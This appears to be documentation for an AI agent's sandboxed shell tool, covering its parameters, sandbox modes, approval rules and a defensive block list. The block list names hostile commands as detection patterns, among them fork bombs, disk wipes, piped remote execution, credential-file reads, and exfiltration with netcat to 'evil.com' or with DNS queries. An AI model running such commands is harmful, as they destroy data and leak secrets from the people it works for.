> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/nearai/ironclaw/llms.txt
> Use this file to discover all available pages before exploring further.

# Shell Execution

> Execute shell commands in a sandboxed environment

## Overview

The shell tool executes commands in a controlled environment with comprehensive security validations, timeout enforcement, and optional Docker sandbox isolation.

## shell

Execute shell commands for builds, tests, git operations, and other CLI tasks. Commands run in a subprocess with captured output.

**Input Parameters**

<ParamField path="command" type="string" required>
  The shell command to execute
</ParamField>

<ParamField path="workdir" type="string">
  Working directory for the command (optional)
</ParamField>

<ParamField path="timeout" type="integer" default={120}>
  Timeout in seconds
</ParamField>

**Output**

<ResponseField name="output" type="string">
  Combined stdout and stderr output (truncated to 64KB)
</ResponseField>

<ResponseField name="exit_code" type="integer">
  Process exit code (0 = success)
</ResponseField>

<ResponseField name="success" type="boolean">
  True if exit code is 0
</ResponseField>

<ResponseField name="sandboxed" type="boolean">
  True if command ran in Docker sandbox
</ResponseField>

**Example**

```json theme={null}
{
  "command": "cargo build --release",
  "workdir": "/home/user/project",
  "timeout": 300
}
```

**Response**

```json theme={null}
{
  "output": "Compiling my-project v0.1.0\n   Finished release [optimized] target(s) in 45.2s",
  "exit_code": 0,
  "success": true,
  "sandboxed": false
}
```

## Security Layers

Commands pass through multiple validation stages before execution:

### 1. Blocked Commands

Exact pattern matches that are always rejected:

* `rm -rf /`, `rm -rf /*`
* Fork bombs: `:(){ :|:& };:`
* Disk wipe: `dd if=/dev/zero`, `mkfs`, `> /dev/sda`
* Piped execution: `curl | sh`, `wget | bash`

### 2. Dangerous Patterns

Substring matches for potentially dangerous commands:

* Privilege escalation: `sudo`, `doas`
* Piped execution: `| sh`, `| bash`, `eval`
* Remote execution: `$(curl`, `$(wget`
* Sensitive files: `/etc/passwd`, `~/.ssh`, `id_rsa`

### 3. Injection Detection

Obfuscation and exfiltration patterns:

* Base64 to shell: `base64 -d | sh`
* Encoded escapes: `printf '\x...' | bash`
* Hex decode: `xxd -r ... | sh`
* DNS exfiltration: `dig $(cat secret)...`
* Netcat piping: `cat file | nc evil.com`
* File uploads: `curl -d @/etc/passwd`, `wget --post-file`
* String reversal: `echo 'hs | lr' | rev | sh`

### 4. Environment Scrubbing

When running directly (no sandbox):

* Only safe environment variables forwarded to child processes
* API keys, tokens, and credentials NOT inherited
* Prevents secret leakage via `env`, `printenv`, or child processes

**Safe Environment Variables:**

* Core OS: `PATH`, `HOME`, `USER`, `SHELL`, `TERM`
* Locale: `LANG`, `LC_*`
* Directories: `PWD`, `TMPDIR`, `XDG_*`
* Toolchains: `CARGO_HOME`, `RUSTUP_HOME`, `NODE_PATH`
* Editor: `EDITOR`, `VISUAL`

## Execution Modes

### Docker Sandbox (When Available)

Commands run inside ephemeral containers:

* Network traffic through validating proxy
* Credentials injected by proxy (never exposed)
* Filesystem isolation
* Resource limits enforced

### Direct Execution (Fallback)

Commands run on host with:

* Scrubbed environment (safe vars only)
* Working directory isolation
* Timeout enforcement
* Output capture and truncation

<Note>
  The tool never silently falls through to unsandboxed execution if sandbox was configured. Either sandbox runs or execution fails.
</Note>

## Approval Requirements

<Warning>
  The following commands ALWAYS require explicit approval, even if shell tool is auto-approved:
</Warning>

### Destructive Commands

* `rm -rf`, `rm -fr`
* `chmod 777`, `chown -r`
* `shutdown`, `reboot`, `poweroff`
* `kill -9`, `killall`, `pkill`

### System Changes

* `iptables`, `nft`
* `useradd`, `userdel`, `passwd`
* `visudo`, `crontab`
* `systemctl disable`

### Version Control

* `git push --force`, `git push -f`
* `git reset --hard`
* `git clean -f`

### Docker Operations

* `docker rm`, `docker rmi`
* `docker system prune`

### Database Operations

* `DROP TABLE`, `DROP DATABASE`
* `TRUNCATE`, `DELETE FROM`

## Rate Limiting

* 30 calls per minute
* 300 calls per hour

## Output Handling

* Maximum output size: 64KB
* Longer output truncated (head + tail shown with size indicator)
* Both stdout and stderr captured
* Separate stderr section if both present

**Truncated Output Example:**

```
[first 32KB]

... [truncated 50000 bytes] ...

[last 32KB]
```

## Error Conditions

<ResponseField name="NotAuthorized">
  * Blocked command pattern detected
  * Dangerous pattern detected
  * Command injection/obfuscation detected
</ResponseField>

<ResponseField name="ExecutionFailed">
  * Failed to spawn command
  * Sandbox error
</ResponseField>

<ResponseField name="Timeout">
  * Command exceeded timeout (default 120s)
</ResponseField>

## Examples

### Build Command

```json theme={null}
{
  "command": "npm run build",
  "workdir": "/app",
  "timeout": 600
}
```

### Git Operations

```json theme={null}
{
  "command": "git log --oneline -10"
}
```

### Test Suite

```json theme={null}
{
  "command": "cargo test --release",
  "timeout": 300
}
```

### File Search

```json theme={null}
{
  "command": "find . -name '*.rs' -type f | wc -l"
}
```

## Best Practices

1. **Use specific working directories** instead of `cd` commands
2. **Set appropriate timeouts** for long-running operations
3. **Check exit codes** to verify success
4. **Avoid sudo** and privilege escalation
5. **Use git safely** - avoid force push to main/master
6. **Prefer targeted commands** over bulk deletions